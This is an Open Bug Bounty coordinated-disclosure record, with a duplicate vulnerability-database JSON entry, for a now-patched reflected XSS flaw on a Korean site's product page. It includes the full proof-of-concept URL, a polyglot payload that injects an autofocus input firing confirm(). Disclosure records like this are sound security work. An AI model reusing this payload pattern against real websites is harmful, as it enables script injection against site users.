Description
##### Open Bug Bounty ID: OBB-565148
Description| Value
---|---
Affected Website:| saeamb2b.co.kr
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet
##### Vulnerable URL:
http://www.saeamb2b.co.kr/product/view.php?pid=211%3C!%27/*!%22/*!\%27/*\%22/*--!%3E%3CInput/Type=Text%20AutoFocus%20*/;%20OnFocus=confirm(`OPENBUGBOUNTY`)%20//%3E%3CSvg%3E&s;_que=&strsearch;=&boardid;=1&hak;=&ban;=&big;_code=11&small;_code=11&cpage;=1&big;_code=11&small;_code=11#
##### Coordinated Disclosure Timeline
Description| Value
---|---
Vulnerability Reported:| 21 February, 2018 19:57 GMT
Vulnerability Verified:| 21 February, 2018 20:13 GMT
Website Operator Notified:| 21 February, 2018 20:13 GMT
Vulnerability Published:| 21 February, 2018 20:13 GMT[without any technical details]
Vulnerability Fixed:| 2 April, 2018 15:28 GMT
Public Disclosure:| 2 April, 2018 15:28 GMT
{"published": "2018-02-21T19:57:00", "href": "https://www.openbugbounty.org/reports/565148/", "lastseen": "2018-04-03T14:52:45", "type": "openbugbounty", "bulletinFamily": "bugbounty", "modified": "2018-04-02T15:28:00", "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "id": "OBB:565148", "reporter": "xssbuddy", "cvss": {"vector": "NONE", "score": 0.0}, "title": "saeamb2b.co.kr XSS vulnerability ", "openbugbounty": {"mirror": "http://565148.openbounty.org/mirror/", "patchStatus": "patched"}, "cvelist": [], "references": [], "description": "##### Open Bug Bounty ID: OBB-565148\n\nDescription| Value \n---|--- \nAffected Website:| saeamb2b.co.kr \nVulnerable Application:| Custom Code \nVulnerability Type:| XSS (Cross Site Scripting) / CWE-79 \nCVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N] \nDisclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines \nRemediation Guide:| OWASP XSS Prevention Cheat Sheet \n \n##### Vulnerable URL:\n \n \n http://www.saeamb2b.co.kr/product/view.php?pid=211%3C!%27/*!%22/*!\\%27/*\\%22/*--!%3E%3CInput/Type=Text%20AutoFocus%20*/;%20OnFocus=confirm(`OPENBUGBOUNTY`)%20//%3E%3CSvg%3E&s;_que=&strsearch;=&boardid;=1&hak;=&ban;=&big;_code=11&small;_code=11&cpage;=1&big;_code=11&small;_code=11#\n \n\n##### Coordinated Disclosure Timeline\n\nDescription| Value \n---|--- \nVulnerability Reported:| 21 February, 2018 19:57 GMT \nVulnerability Verified:| 21 February, 2018 20:13 GMT \nWebsite Operator Notified:| 21 February, 2018 20:13 GMT \nVulnerability Published:| 21 February, 2018 20:13 GMT[without any technical details] \nVulnerability Fixed:| 2 April, 2018 15:28 GMT \nPublic Disclosure:| 2 April, 2018 15:28 GMT\n", "viewCount": 2, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645470195}}
{}